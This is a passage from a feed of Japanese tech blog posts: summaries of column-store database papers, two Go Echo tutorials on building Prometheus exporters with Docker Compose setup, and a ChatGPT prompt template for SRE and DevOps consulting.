DBMSをそれぞれTPC-Hで評価を行い、パフォーマンス阻害要件と最適化方法を提案している。手法CPUによるIF文の処理方法はDBMSにとっては選択性が低く、そういった実行は予測不可能でありクエリ実行を著しく劣らせた。提案手法ではMonetDB/X100として効率的なシーケンシャルアクセスに向けた、C-storeストレージとクエリエンジンを実装した。RAMは提案手法のデータアクセスと同様の方法で圧縮して保存し、Cacheではなベクトル化された処理にもとづくパイプライン実装を使用した。CPUにおいてもベクトル型における式計算を提供し、コンパイラが高効率な処理を生成した。結果として提案手法は従来のDBMS実行に比べTPC-Hで優れた性能をしめした。作業時間read21:3221:32author29:007:28summary56:2027:20感想2005年と古く、またVolcano-likeなど知らない概念も登場した。提案内容としては現代のDWHが採用しているものだった。論文外の感想今回本文を読む時間を大幅に短くしてみたが、それにともない理解度も低下した気がする。やっぱり30分以上で読むのがよさそう。","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/6_hyper_pipelining_query_execution","isoDate":"2023-04-17T01:16:56.000Z","dateMiliSeconds":1681694216000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Golang のEcho でMiddlewareを使ってPrometheus Exporter を実装する","contentSnippet":"はじめにもし、アプリケーションに実装できるならそれが良いです。独自に実装などせずにエンドポイントにて500 Internal Server Errorが多発していればアラートをすれば良いので...。こちらの続編になります。syu-m-5151.hatenablog.com本エントリーでは、GolangでEchoフレームワークを使用し、Prometheus ExporterをMiddlewareとして実装する方法について説明します。Prometheus Middlewareは、自動でMetrics を生成します。これにより、アプリケーションのパフォーマンス監視や問題解析が容易になります。利用しているコードはこちらgithub.comはじめにコードを解説するんじゃいvarinitmeasureExternalAccessunstableEndpointMiddlewareを適用Prometheus Middlewareを適用EchoのMiddlewareについてEcho Echo Middleware の特徴再び、Docker Compose での実行するんじゃろがい見れたぞぉおおおおさいごにコードを解説するんじゃいシンプルだけど解説をします。環境構築などは前回のエントリーに任せます。Echoフレームワークを使ってGolangでシンプルなWebアプリケーションを作成し、Prometheus Exporterをミドルウェアとして実装する例です。package mainimport ( \\"math/rand\\" \\"net/http\\" \\"time\\" \\"github.com/labstack/echo-contrib/prometheus\\" \\"github.com/labstack/echo/v4\\" \\"github.com/labstack/echo/v4/middleware\\" prom \\"github.com/prometheus/client_golang/prometheus\\")// Prometheus のメトリクスを定義しています。// これらのメトリクスは、3-shake.com への外部アクセスの情報を収集するために使用されます。var ( externalAccessDuration = prom.NewHistogram( prom.HistogramOpts{ Name: \\"external_access_duration_seconds\\", Help: \\"Duration of external access to 3-shake.com\\", Buckets: prom.DefBuckets, }, ) lastExternalAccessStatusCode = prom.NewGauge( prom.GaugeOpts{ Name: \\"last_external_access_status_code\\", Help: \\"Last status code of external access to 3-shake.com\\", }, ))// init 関数内で、メトリクスを Prometheus に登録しています。func init() { prom.MustRegister(externalAccessDuration) prom.MustRegister(lastExternalAccessStatusCode)}// 3-shake.com の外部アクセスを計測するミドルウェアを作成します。func measureExternalAccess(next echo.HandlerFunc) echo.HandlerFunc { return func(c echo.Context) error { // HTTP クライアントを作成し、タイムアウトを 10 秒に設定します。 client := &http.Client{Timeout: 10 * time.Second} // 現在の時刻を取得し、アクセス開始時間として保持します。 startTime := time.Now() // 3-shake.com に対して HTTP GET リクエストを送信します。 resp, err := client.Get(\\"https://3-shake.com\\") // アクセス開始時間から現在の時刻までの経過時間を計算し、duration に格納します。 duration := time.Since(startTime) // エラーが発生しない場合（リクエストが成功した場合） if err == nil { // アクセス時間（duration）をヒストグラムメトリクスに追加します。 externalAccessDuration.Observe(duration.Seconds()) // ステータスコードをゲージメトリクスに設定します。 lastExternalAccessStatusCode.Set(float64(resp.StatusCode)) // レスポンスのボディを閉じます。 resp.Body.Close() } // 次のミドルウェアまたはハンドラ関数に処理を移します。 return next(c) }}func unstableEndpoint(c echo.Context) error { // 0 から 4 までのランダムな整数を生成します。 randomNumber := rand.Intn(5) // 生成された整数が 4 の場合、HTTP ステータスコード 500 を返します。 if randomNumber == 4 { return c.String(http.StatusInternalServerError, \\"Something went wrong!\\") } // それ以外の場合、HTTP ステータスコード 200 を返します。 return c.String(http.StatusOK, \\"Success!\\")}func main() { e := echo.New() // ミドルウェアの設定 e.Use(middleware.Logger()) e.Use(middleware.Recover()) // Prometheus ミドルウェアを有効にします。 p := prometheus.NewPrometheus(\\"echo\\", nil) p.Use(e) // 3-shake.com への外部アクセスを計測するミドルウェアを追加します。 e.Use(measureExternalAccess) // ルートのエンドポイントを設定します。 e.GET(\\"/\\", func(c echo.Context) error { return c.String(http.StatusOK, \\"Hello, World!\\") }) // /unstable エンドポイントを設定します。 // 20% の確率で HTTP ステータスコード 500 を返します。 e.GET(\\"/unstable\\", unstableEndpoint) // サーバーを開始します。 e.Start(\\":2121\\")}varvarで3-shake.com への外部アクセスの情報を収集するための Prometheus メトリクスを定義していきます。var ( externalAccessDuration = prom.NewHistogram( prom.HistogramOpts{ Name: \\"external_access_duration_seconds\\", Help: \\"Duration of external access to 3-shake.com\\", Buckets: prom.DefBuckets, }, ) lastExternalAccessStatusCode = prom.NewGauge( prom.GaugeOpts{ Name: \\"last_external_access_status_code\\", Help: \\"Last status code of external access to 3-shake.com\\", }, ))echo.labstack.cominitinit 関数でメトリクスを Prometheus に登録します。func init() { prom.MustRegister(externalAccessDuration) prom.MustRegister(lastExternalAccessStatusCode)}measureExternalAccessmeasureExternalAccess関数で3-shake.com への外部アクセスを計測するミドルウェアを定義します。こちらの方がEcho Likeな定義の仕方だと思うので好きです。Echo のカスタムミドルウェアで、リクエストが処理される前に 3-shake.com への外部アクセスを計測する役割を持っています。func measureExternalAccess(next echo.HandlerFunc) echo.HandlerFunc { return func(c echo.Context) error { // HTTP クライアントを作成し、タイムアウトを 10 秒に設定します。 client := &http.Client{Timeout: 10 * time.Second} // 現在の時刻を取得し、アクセス開始時間として保持します。 startTime := time.Now() // 3-shake.com に対して HTTP GET リクエストを送信します。 resp, err := client.Get(\\"https://3-shake.com\\") // アクセス開始時間から現在の時刻までの経過時間を計算し、duration に格納します。 duration := time.Since(startTime) // エラーが発生しない場合（リクエストが成功した場合） if err == nil { // アクセス時間（duration）をヒストグラムメトリクスに追加します。 externalAccessDuration.Observe(duration.Seconds()) // ステータスコードをゲージメトリクスに設定します。 lastExternalAccessStatusCode.Set(float64(resp.StatusCode)) // レスポンスのボディを閉じます。 resp.Body.Close() } // 次のミドルウェアまたはハンドラ関数に処理を移します。 return next(c) }}unstableEndpointちゃんと、メトリクス値が取得できているか確認したいのでunstableEndpointというエンドポイントを追加し、リクエストのうち約 5 回に 1 回失敗するように実装しました。このエンドポイントは、リクエストが成功した場合には HTTP ステータスコード 200 を返し、失敗した場合には HTTP ステータスコード 500 を返します。func unstableEndpoint(c echo.Context) error { // 0 から 4 までのランダムな整数を生成します。 randomNumber := rand.Intn(5) // 生成された整数が 4 の場合、HTTP ステータスコード 500 を返します。 if randomNumber == 4 { return c.String(http.StatusInternalServerError, \\"Something went wrong!\\") } // それ以外の場合、HTTP ステータスコード 200 を返します。 return c.String(http.StatusOK, \\"Success!\\")}curl してくるワンライナー(fish)も用意しましたので思う存分curl してください。for i in (seq 1 50); curl http://localhost:2121/unstable; echo \\"\\"; endMiddlewareを適用寂しいのでPrometheus 以外のMiddlewareをEchoインスタンスに適用しました。middleware.Logger() : リクエストのログを出力するMiddlewaremiddleware.Recover() : パニックを回復してアプリケーションがクラッシュしないようにするMiddleware e.Use(middleware.Logger()) e.Use(middleware.Recover())Prometheus Middlewareを適用これだけなんです。Echo用の新しいPrometheus Middlewareインスタンスを作成します。作成したPrometheus MiddlewareインスタンスをEchoインスタンスに適用します。 // Prometheusミドルウェアを適用する p := prometheus.NewPrometheus(\\"echo\\", nil) p.Use(e)EchoのMiddlewareについてMiddlewareは、リクエストとレスポンスの処理の前後にカスタムロジックを実行するための仕組みを提供しています。EchoのMiddlewareは、コードの再利用性、可読性、そして機能の分離を向上させるために役立ちます。>Logger: Request Logger->>Middleware1: Processed Request Middleware1->>Recovery: Processed Request Recovery->>Prometheus: Processed Request Prometheus->>CORS: Processed Request CORS->>Handler: Processed Request Handler->>CORS: Response CORS->>Prometheus: Processed Response Prometheus->>Recovery: Processed Response Recovery->>Middleware1: Processed Response Middleware1->>Logger: Processed Response Logger->>Client: Processed Responsemermaid.initialize({startOnLoad: true});echo.labstack.comEcho Echo Middleware の特徴Middlewareは、複数のMiddleware関数を組み合わせて実行することができます。これにより、機能を組み合わせてカスタム処理パイプラインを構築することができます。これらは登録された順序で実行されます。これにより、処理の流れを明確にし、簡単に制御できるようになります。また、Echoでは、これらをグローバルに適用することも、特定のルートに適用することもできます。これにより、アプリケーション全体または特定のエンドポイントに対してカスタム処理を適用できます。Echoは、いくつかの組み込みミドルウェアを提供していますが独自のカスタムミドルウェアを作成してアプリケーションに適用することもできます。e := echo.New()e.Use(middleware.Logger()) # 登録された順序で実行されるぞe.GET(\\"/\\",getHallo,middleware.Recover()) # e.GET(\\"/\\", , ) で特定のルートにだけMiddlewareを登録できるe.Use(LoggingMiddleware) # 独自で実装するカスタムミドルウェアecho.labstack.com再び、Docker Compose での実行するんじゃろがい完全に同じことやってるのでこちらを参考にしてくださいsyu-m-5151.hatenablog.com見れたぞぉおおおおhttp://localhost:2121/metrics の結果もこちらに記載しておきますgithub.comGolang のEcho でMiddlewareを使ってアプリケーションのPrometheus Exporter を実装することができました。アラートの設定方法については他のブログを参照してください。さいごに以上で、Echo フレームワークを使って、Prometheus メトリクスを追加し、さらに不安定なエンドポイントを作成する方法を解説しました。この知識を活かして、みなさんのアプリケーションにメトリクスを取得する機能を追加して、可観測性を向上させましょう！全然、関係ないけど翻訳に携わってコンテナセキュリティのブラックボックス感が多少薄まるのでみんな読んでくれ...コンテナセキュリティ　コンテナ化されたアプリケーションを保護する要素技術作者:Liz RiceインプレスAmazon","link":"https://syu-m-5151.hatenablog.com/entry/2023/04/17/100001","isoDate":"2023-04-17T01:00:01.000Z","dateMiliSeconds":1681693201000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Golang のEcho で Prometheus Exporter を実装する","contentSnippet":"はじめにPrometheus でアプリケーションの構築をしているとどうしてもこの値が取りたいのに... と思うことが多々ある。Pushgateway も選択肢として上げられるが今回は選択肢を増やしてほしいという意味でもExporterの実装方法について検討していきます。ExporterはPrometheusのpull モデルに適合し、監視対象のライフサイクルと一貫性があり、スケーラビリティと自動検出の利点を享受できるため、Pushgatewayよりも推奨される方法です。ただし、特定のユースケース（サービスレベルのバッチジョブなど）では、Pushgatewayの使用が適切な場合もあります。Pushgatewayを使う際には以下の問題点があるので注意が必要です。複数のインスタンスを1つのPushgatewayで監視すると、単一障害点とボトルネックが発生する可能性がある。Prometheusの自動インスタンスヘルスチェックが利用できなくなる。Pushgatewayは一度プッシュされたデータを忘れず、手動でAPIを通じて削除しない限り永久にPrometheusで公開されてしまう。Exporter の実装と運用はそこそこ手間になるので最適な方法を選んでほしいです。この辺はCloudを利用しても同じような問題があるので注意しながらやっていきましょう。はじめにExporterとはPrometheusの公式クライアントライブラリやっていくぞ！おら！環境構築実装についてコードを解説するんじゃいPrometheusのメトリクスを定義init関数registerMetrics関数updateMetrics関数prometheusMiddleware関数measureExternalAccess関数var 配下ってことぉおおおhttpRequestsTotalhttpRequestDurationhttpRequestSizehttpResponseSizehttpResponseTimeexternalAccessDurationDocker Compose での実行するんじゃろがいprometheus.ymldocker-compose.ymlDockerfiledocker compose の実行さいごにサンプルコードはこちらです。サンプルコード自体は雑多な作業リポジトリにおいてあるのでご注意ください。また、アプリケーション自体のリソースを確認するのにEcho のミドルウェアを使用していません。自身の利用しているライブラリーにPrometheus のエンドポイントを提供する機能がないか調べておきましょう。gRPCのGo Server にも同様の機能があります。あと、外部のリソースが確認したいだけならBlackbox exporterという選択肢もあります。github.comExporterとはExporterは、Prometheusがメトリクスを収集するために使用するプログラムです。Exporterは、アプリケーションやインフラストラクチャからメトリクスを収集し、Prometheusが理解できる形式に変換して提供します。公式ドキュメントで提供されているExporter一覧は、こちらを参照してください。Prometheusの公式クライアントライブラリPrometheusは、いくつかの言語用の公式クライアントライブラリを提供しており、これを使用してExporterを実装することができます。今回はGoで実装していくのこちらが参考になると思います。やっていくぞ！おら！やっていきます環境構築# Go のモジュールを作成する。必要なライブラリーはのちほど`go mod tidy` で持ってくる。go mod init prometheus-go-exporter実装について以下をmain.go に配置して実行(go run main.go)してください。以下のコードはEchoを利用したWebサーバーにPrometheusのExporterを実装し、3-shake.comへのアクセスを計測しています。http://localhost:2121/3-shake-status や http://localhost:2121/metrics で値を取得できていると思います。package mainimport ( \\"fmt\\" \\"net/http\\" \\"time\\" \\"github.com/labstack/echo/v4\\" \\"github.com/labstack/echo/v4/middleware\\" \\"github.com/prometheus/client_golang/prometheus\\" \\"github.com/prometheus/client_golang/prometheus/promhttp\\")// Prometheusのメトリクスを定義しています。// これらのメトリクスは、HTTPリクエストの情報や3-shake.comへのアクセス情報を収集するために使用されます。var ( httpRequestsTotal = prometheus.NewCounterVec( prometheus.CounterOpts{ Name: \\"http_requests_total\\", Help: \\"Number of HTTP requests processed\\", }, []string{\\"method\\", \\"path\\"}, ) httpRequestDuration = prometheus.NewHistogramVec( prometheus.HistogramOpts{ Name: \\"http_request_duration_seconds\\", Help: \\"Duration of HTTP requests\\", Buckets: prometheus.DefBuckets, }, []string{\\"method\\", \\"path\\"}, ) httpRequestSize = prometheus.NewHistogramVec( prometheus.HistogramOpts{ Name: \\"http_request_size_bytes\\", Help: \\"Size of HTTP requests\\", Buckets: prometheus.ExponentialBuckets(128, 2, 10), }, []string{\\"method\\", \\"path\\"}, ) httpResponseSize = prometheus.NewHistogramVec( prometheus.HistogramOpts{ Name: \\"http_response_size_bytes\\", Help: \\"Size of HTTP responses\\", Buckets: prometheus.ExponentialBuckets(128, 2, 10), }, []string{\\"method\\", \\"path\\"}, ) httpResponseTime = prometheus.NewGaugeVec( prometheus.GaugeOpts{ Name: \\"http_response_time_seconds\\", Help: \\"Time of the last HTTP response\\", }, []string{\\"method\\", \\"path\\"}, ) externalAccessDuration = prometheus.NewHistogram( prometheus.HistogramOpts{ Name: \\"external_access_duration_seconds\\", Help: \\"Duration of external access to 3-shake.com\\", Buckets: prometheus.DefBuckets, }, ) lastExternalAccessStatusCode = prometheus.NewGauge( prometheus.GaugeOpts{ Name: \\"last_external_access_status_code\\", Help: \\"Last status code of external access to 3-shake.com\\", }, ))// init関数内で、メトリクスをPrometheusに登録しています。func init() { registerMetrics()}// registerMetrics関数では、Prometheusにメトリクスを登録しています。// これにより、Prometheusがメトリクスを収集できるようになります。func registerMetrics() { prometheus.MustRegister(httpRequestsTotal) prometheus.MustRegister(httpRequestDuration) prometheus.MustRegister(httpRequestSize) prometheus.MustRegister(httpResponseSize) prometheus.MustRegister(httpResponseTime) prometheus.MustRegister(externalAccessDuration) prometheus.MustRegister(lastExternalAccessStatusCode)}// updateMetrics関数では、受信したHTTPリクエストのメトリクスを更新しています。// これにより、各リクエストに関する情報が収集されます。func updateMetrics(method, path string, requestSize, responseSize int, duration time.Duration) { httpRequestsTotal.WithLabelValues(method, path).Inc() httpRequestDuration.WithLabelValues(method, path).Observe(duration.Seconds()) httpRequestSize.WithLabelValues(method, path).Observe(float64(requestSize)) httpResponseSize.WithLabelValues(method, path).Observe(float64(responseSize)) httpResponseTime.WithLabelValues(method, path).Set(float64(time.Now().Unix()))}// prometheusMiddleware関数では、Echoのミドルウェアとして、受信したHTTPリクエストに関するメトリクスを更新する機能を追加しています。func prometheusMiddleware(next echo.HandlerFunc) echo.HandlerFunc { return func(c echo.Context) error { startTime := time.Now() err := next(c) duration := time.Since(startTime) requestSize := c.Request().ContentLength responseSize := c.Response().Size updateMetrics(c.Request().Method, c.Path(), int(requestSize), int(responseSize), duration) return err }}// measureExternalAccess関数では、3-shake.comへの外部アクセスを定期的に計測し、そのアクセス時間とステータスコードをメトリクスに格納しています。// この関数はメイン関数内で呼び出され、別のゴルーチンで実行されます。func measureExternalAccess() { client := &http.Client{Timeout: 10 * time.Second} go func() { for { startTime := time.Now() resp, err := client.Get(\\"https://3-shake.com\\") duration := time.Since(startTime) if err == nil { externalAccessDuration.Observe(duration.Seconds()) lastExternalAccessStatusCode.Set(float64(resp.StatusCode)) resp.Body.Close() } time.Sleep(1 * time.Minute) } }()}func main() { // Echo instance e := echo.New() // Middleware for Prometheus Exporter e.Use(prometheusMiddleware) // Enable request logger e.Use(middleware.Logger()) e.GET(\\"/3-shake-status\\", func(c echo.Context) error { status := lastExternalAccessStatusCode.Desc().String() return c.String(http.StatusOK, fmt.Sprintf(\\"Last 3-shake.com access status: %s\\", status)) }) // Prometheus Exporter endpoint e.GET(\\"/metrics\\", echo.WrapHandler(promhttp.Handler())) // Measure external access to 3-shake.com measureExternalAccess() // Start the server e.Start(\\":2121\\")}コードを解説するんじゃい解説をします。Prometheusのメトリクスを定義Prometheusのメトリクスを定義しています。これらのメトリクスは、HTTPリクエストの情報や3-shake.comへのアクセス情報を収集するために使用されます。var ( // ... (省略) externalAccessDuration = prometheus.NewHistogram( prometheus.HistogramOpts{ Name: \\"external_access_duration_seconds\\", Help: \\"Duration of external access to 3-shake.com\\", Buckets: prometheus.DefBuckets, }, ) lastExternalAccessStatusCode = prometheus.NewGauge( prometheus.GaugeOpts{ Name: \\"last_external_access_status_code\\", Help: \\"Last status code of external access to 3-shake.com\\", }, ))init関数init関数内で、メトリクスをPrometheusに登録しています。func init() { registerMetrics()}registerMetrics関数registerMetrics関数では、Prometheusにメトリクスを登録しています。これにより、Prometheusがメトリクスを収集できるようになります。func registerMetrics() { // ... (省略) prometheus.MustRegister(externalAccessDuration) prometheus.MustRegister(lastExternalAccessStatusCode)}updateMetrics関数updateMetrics関数では、受信したHTTPリクエストのメトリクスを更新しています。これにより、各リクエストに関する情報が収集されます。func updateMetrics(method, path string, requestSize, responseSize int, duration time.Duration) { // ... (省略)}prometheusMiddleware関数prometheusMiddleware関数では、Echoのミドルウェアとして、受信したHTTPリクエストに関するメトリクスを更新する機能を追加しています。func prometheusMiddleware(next echo.HandlerFunc) echo.HandlerFunc { // ... (省略: )}measureExternalAccess関数measureExternalAccess関数 では、3-shake.comへの外部アクセスを定期的に計測し、そのアクセス時間とステータスコードをメトリクスに格納しています。この関数はメイン関数内で呼び出され、別のゴルーチンで実行されます。func measureExternalAccess() { client := &http.Client{Timeout: 10 * time.Second} go func() { for { startTime := time.Now() resp, err := client.Get(\\"https://3-shake.com\\") duration := time.Since(startTime) if err == nil { externalAccessDuration.Observe(duration.Seconds()) lastExternalAccessStatusCode.Set(float64(resp.StatusCode)) resp.Body.Close() } time.Sleep(1 * time.Minute) } }()}var 配下ってことぉおおおPrometheusのメトリクスを定義しています。この辺の実装はよく悩むと思うので公式の実装とかたくさん読むと何をどれに使えばよいかの勘所が掴めると思います。実際に使わないと差が分からないのでとっとと手を動かすのがオススメです。httpRequestsTotal処理されたHTTPリクエストの総数をカウントするメトリクスです。prometheus.NewCounterVec関数を使用して定義され、リクエストのメソッド（GET、POSTなど）とパス（リソースへのURLパス）によってラベル付けされます。httpRequestDurationHTTPリクエストの処理時間を記録するメトリクスです。prometheus.NewHistogramVec関数を使用して定義され、リクエストのメソッドとパスによってラベル付けされます。デフォルトのバケットは、prometheus.DefBucketsを使用して設定されます。httpRequestSizeHTTPリクエストのサイズ（バイト単位）を記録するメトリクスです。prometheus.NewHistogramVec関数を使用して定義され、リクエストのメソッドとパスによってラベル付けされます。バケットは、prometheus.ExponentialBuckets関数を使用して設定されます。httpResponseSizeHTTPレスポンスのサイズ（バイト単位）を記録するメトリクスです。prometheus.NewHistogramVec関数を使用して定義され、リクエストのメソッドとパスによってラベル付けされます。バケットは、同様にprometheus.ExponentialBuckets関数を使用して設定されます。httpResponseTimeHTTPレスポンスの時間を記録するメトリクスです。このメトリクスは、prometheus.NewGaugeVec関数を使用して定義され、リクエストのメソッドとパスによってラベル付けされます。externalAccessDurationこれは、3-shake.comへの外部アクセスの持続時間を記録するメトリクスです。このメトリクスは、prometheus.NewHistogram関数を使用して定義されます。デフォルトのバケットは、prometheus.DefBuckets関数を使用して設定されます。Docker Compose での実行するんじゃろがいprometheus.ymlまず、prometheus.ymlを作成します。このファイルには、Prometheusがどのようにメトリクスを収集するかについての設定が含まれています。global: scrape_interval: 15sscrape_configs: - job_name: \'echo_exporter\' static_configs: - targets: [\'echo_exporter:2121\']docker-compose.yml次に、docker-compose.ymlを作成します。このファイルには、PrometheusとGolangのEchoアプリケーションを実行するために必要なコンテナの設定が含まれています。version: \'3.8\'services: echo_exporter: build: context: . dockerfile: Dockerfile_exporter ports: - \\"2121:2121\\" prometheus: image: prom/prometheus:latest volumes: - ./prometheus.yml:/etc/prometheus/prometheus.yml command: - \\"--config.file=/etc/prometheus/prometheus.yml\\" ports: - \\"9090:9090\\"DockerfileDockerfileを作成して、Echoアプリケーションをコンテナで実行できるようにします。別に動けばよいのでなんか工夫とかはしてないです。本番でやるときはうまくマルチステージビルドとか使って下さい。# Use the official Golang image as the base imageFROM golang:1.20# Set the working directoryWORKDIR /app# Copy go.mod and go.sum to download dependenciesCOPY go.mod go.sum ./# Download dependenciesRUN go mod download# Copy the source codeCOPY . .# Build the applicationRUN go build -o main .# Expose the port the application will run onEXPOSE 2121# Run the applicationCMD [\\"./main\\"]docker compose の実行2023 年 6 月末から、Compose V1 はサポートされなくなり、すべての Docker Desktop バージョンから削除されるので注意してほしいです。ちなみにcompose がdockerコマンドに入るようになったのでdocker-compose 特別にインストールせずとも実行可能になりました。# デーモン化しちゃうdocker compose up -d Dockerfileを使用してecho_exporterサービスがビルドされ、PrometheusとGolangのEchoアプリケーションをそれぞれのコンテナで起動します。Prometheusは、echo_exporterサービスからメトリクスを収集し、ポート9090でアクセスできるようになります。last_external_access_status_code を確認するには起動した状態でこちらを参考にしてください。一回、シャットダウンしたので以下のようなグラフが出力されていますね。。長くなったのでこれで終わります。さいごに実は Echo において Prometheus は、HTTP リクエストのメトリックを生成することができるミドルウェアを提供しているので基本的な部分でコードを書く必要がありません。もし、アプリケーションに実装できるならそれが良いです。独自に実装などせずにエンドポイントにて500 Internal Server Errorが多発していればアラートをすれば良いだけなので...。もし、インフラのコードがアプリに組み込めないもしくはプロダクションコードは開発側しか触れない時には協力を仰いで下さい。開発側との人間関係に問題があったりセキュリティ上の課題がある場合には別の手段を考えましょう。package mainimport ( \\"github.com/labstack/echo/v4\\" \\"github.com/labstack/echo-contrib/prometheus\\")func main() { e := echo.New() // Enable metrics middleware p := prometheus.NewPrometheus(\\"echo\\", nil) p.Use(e) e.Logger.Fatal(e.Start(\\":1323\\"))}と書くだけで外部リソースへのアクセス以外のメトリクスは提供できます。また、外部リソースに対してもいくつかの構造体を持っているのでこれらも効率的に提供できます。echo.labstack.com本当に関係ないんですけど2023年4月19日にECサイト構築・運用セキュリティガイドラインを読み解く会 というのをやるので興味あれば！owasp-kyushu.connpass.com続編のブログも書いておきました。syu-m-5151.hatenablog.comPrometheus実践ガイド: クラウドネイティブな監視システムの構築作者:仲亀 拓馬テッキーメディアAmazon","link":"https://syu-m-5151.hatenablog.com/entry/2023/04/16/132450","isoDate":"2023-04-16T04:24:50.000Z","dateMiliSeconds":1681619090000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"列指向DBMSにおけるデータ圧縮手法の論文を読みました","contentSnippet":"この記事の趣旨\\"Integrating Compression and Execution in Column-Oriented Database Systems\\"という2006年に発表されたそれまで行指向DBMSで培われてきた圧縮方法による、検索高速化手法を列指向DBMSに適用・評価した論文を読んで行きます。Integrating Compression and Execution in Column-Oriented Database SystemsDaniel J. Abadi, Samuel R. Madden, Miguel C. Ferreira著者についてDaniel J. Abadi、Samuel R. Madden、Miguel C. Ferreiraのグループ。それぞれDBMSやデータ分析に関連する手法やパフォーマンスについて研究している。問題意識2006年ごろの研究ということもありC-storeデータベースの研究が少なかった時期の論文。既に検索パフォーマンスに寄与することがしられていたR-storeデータベースの圧縮手法を、C-storeへ応用や評価を行なった。手法提案手法は以下の圧縮技術の組み合わせからなる。Null圧縮辞書エンコーディングRun Lengthエンコーディングビットベクターエンコーディングエンコーディングで、それぞれのカテゴリに属するかどうかをバイナリで表現する圧縮方法Lempel-ZivエンコーディングGZIPでも使用されている圧縮方式。データの非重複ブロックを解析して既存のデータは対応するブロックへのポインタに、それ以外のみを新規に追加する。提案手法は圧縮方式が増えてもアクセスパターンをシンプルに留めるためにアクセス方法をAPIとして隠蔽した。そのため異なるエンコーディングも同一のAPIで保存でき、同一のAPIでも取得できる。当然ながら一つのエンコーディングで全てのデータに対応することは難しく、論文では使用すべき圧縮スキームの選び方を以下のようにまとめている。Figure10感想C-storeにおける古典的な圧縮手法がまとまった論文だった。近代DWHを利用する側では意識することが少ない部分だったためあたらしい知識も多かった。作業時間read26:5026:50author33:306:40summary58:2024:50","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/5_integrating_compresison_and_execution_in_cstore_dbms","isoDate":"2023-04-16T02:58:29.000Z","dateMiliSeconds":1681613909000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Column Sketchesというindex手法の論文を読みました","contentSnippet":"この記事の趣旨前回と同様にCMU Advanced Databas Systems Spring2023のReading Assignmentとして出ている論文を読んで行きます。最近論文を読めてなかったのですが、この記事でモーベーションが上がったので再開しました。ころころやり方を変えるのはよろしくないものの、モチベーションのために先の記事のやり方でやります。今回はColumn Sketchという名前のIndex手法を提案した論文です。Lossy Compressionを採用した当手法がどのように、高速で堅牢な検索を実現しているのかについて述べています。Column Sketches: A Scan Accelerator for Rapid and Robust Predicate EvaluationBrian Hentschel, Michael S. Kester, Stratos Idreos著者についてBrain、Michael、Stratosのグループによる論文。いずれも機械学習とデータアクセスについて研究している。問題意識既存のindex手法ではそれぞれに得意/不得意があり多くのアクセスパターンに対応できる方法がなかった。またデータ分析で用いられるような列指向ストレージに対応しているものが少なかった。Column SketchはデータをLossy Compressionを使用してindexを作成する手法でこれらの問題を解決した。手法提案手法はデータを任意のbit長に変換し、bitで表わされたデータに対して初回の検索を行なうことで大幅に検索速度を向上させた。またこの手法は数値型のみではなく、varcharなどで表わされたカテゴリカルタイプを数値として扱うことで、データ分析に必要なデータタイプに対応している。提案手法は8bit数値型であれば以下のようなマッピングによって達成される。for x, y ∈ I8, S (x) ≠ S (y) ⇒ x ≠ yfor x, y ∈ I8, S (x) < S (y) ⇒ x < y以下の図は8bitデータに対してWHERE x < 90がどのようにindex作成され評価されるかの例である。Figure2: Column Sketchindex作成段階では数値をレンジベースで任意の個数のbitに圧縮する。そして評価時には90を含むデータより大きい値をすべて取得し、90を含むレンジに対しては個別に評価を行なう。感想読んでいる段階では数値型のみに対応したindexであれば、B-treeで十分ではないかと思ったものの読み進めていくと限定的ながらも文字型にも対応していて、分析用途では必要な機能が備わっているなと思った。全文テキスト検索のような用途には応用が難しそうで、銀の弾丸はないなと感じた。作業時間read27 min27 minauthor32 min5 minsummary58 min26 min論文以外への感想今回採用した論文の読み方をやってみた思ったのは事前に1時間で読んでまとめるぞと決めたことで随分集中して論文を読めました。あと今まで論文を原文で読まなきゃという個人的な使命感があったのですが、翻訳することで随分効率があがったので今後は翻訳してしまおうと思いました。Readableは文末のrea-dableのような表記や翻訳されない部分(おそらく数式を含む文章？)があるものの、フォーマットが維持されているため原文と照しあわせながら読めば非常に効率がよかったです。毎日論文読むなら正直買いです。毎日論文読みたいので課金しました。がんばるぞ!","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/4_column_sketch","isoDate":"2023-04-15T04:09:38.000Z","dateMiliSeconds":1681531778000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"ChatGPT:SREやDevOpsなどのソフトウェアの運用に伴う課題解決に関する提案を行うプロンプト","contentSnippet":"はじめにソフトウェアの問題解決に関する提案してくれるプロンプトを利用することは、今後の開発者やエンジニアがより効率的に問題解決を行うための重要な手段の一つになります。というか毎回、適切なプロンプトを作成するのが面倒になった。このプロンプトには、ソフトウェア開発におけるベストプラクティスやDevOps、SRE方法論などの知識や経験が共有され、開発者やエンジニアの能力向上に貢献することができるようになれば良いなーと妄想しております。GPT4 のみを対象にしています。GPT3.5 で改善を試みたけど4ほど良い内容が返ってこない。効果ユーザーの問題を効果的に解決するための具体的なソリューションを提案します。DevOpsとSREの手法を活用して、ユーザーのソフトウェア開発プロセスを改善します。ユーザーとのコミュニケーションを通じて、問題解決の過程でのフィードバックを得ることができます。想定するユーザーソフトウェア開発者やDevOpsエンジニアで、ベストプラクティスや新しい技術の導入に興味がある方。経験豊富なコンサルタントや専門家のアドバイスを求めている企業やチームのメンバー。注意点提案するソリューションは、ユーザーの業界や技術スタックに適合するように調整する必要があります(こちらあまり価値がないことに気付いたので削除いたしました)。プロンプトの手順に従って、ユーザーからのフィードバックを適切に反映するように注意してください。顧客の承認が得られるまで、適切な提案を続けてください。プロンプト(2023/05/01)# Goal:- You suggest software best practices, DevOps, and SRE methodologies properly and appropriately according to the following rules and steps.# Context:- You are an experienced DevOps engineer and software developer.- You are a supportive and attentive consultant.- Please use Japanese.# Rules- You must keep acting like the consultant, DevOps engineer, and software developer defined in the Context above throughout the Steps below.- You always remember that you\'re in the Context described above.# Steps: execute the following steps one by one.- Ask the customer what problem they want to solve.- Confirm that the target issue has been correctly identified.- If the confirmation is approved, proceed to the next step. If not, return to the second step.- Based on the customer\'s situation, make several suggestions for resolving the issue, including specific best practices, tools, or methodologies.- Please provide an appropriate software implementation, if any, for your proposed solution.- Please provide any references for your proposed solution.- Ask for feedback on the suggestions you made. If a positive message is given, further explain the suggestion if you made it. If not, make another suggestion.- Ask if the customer 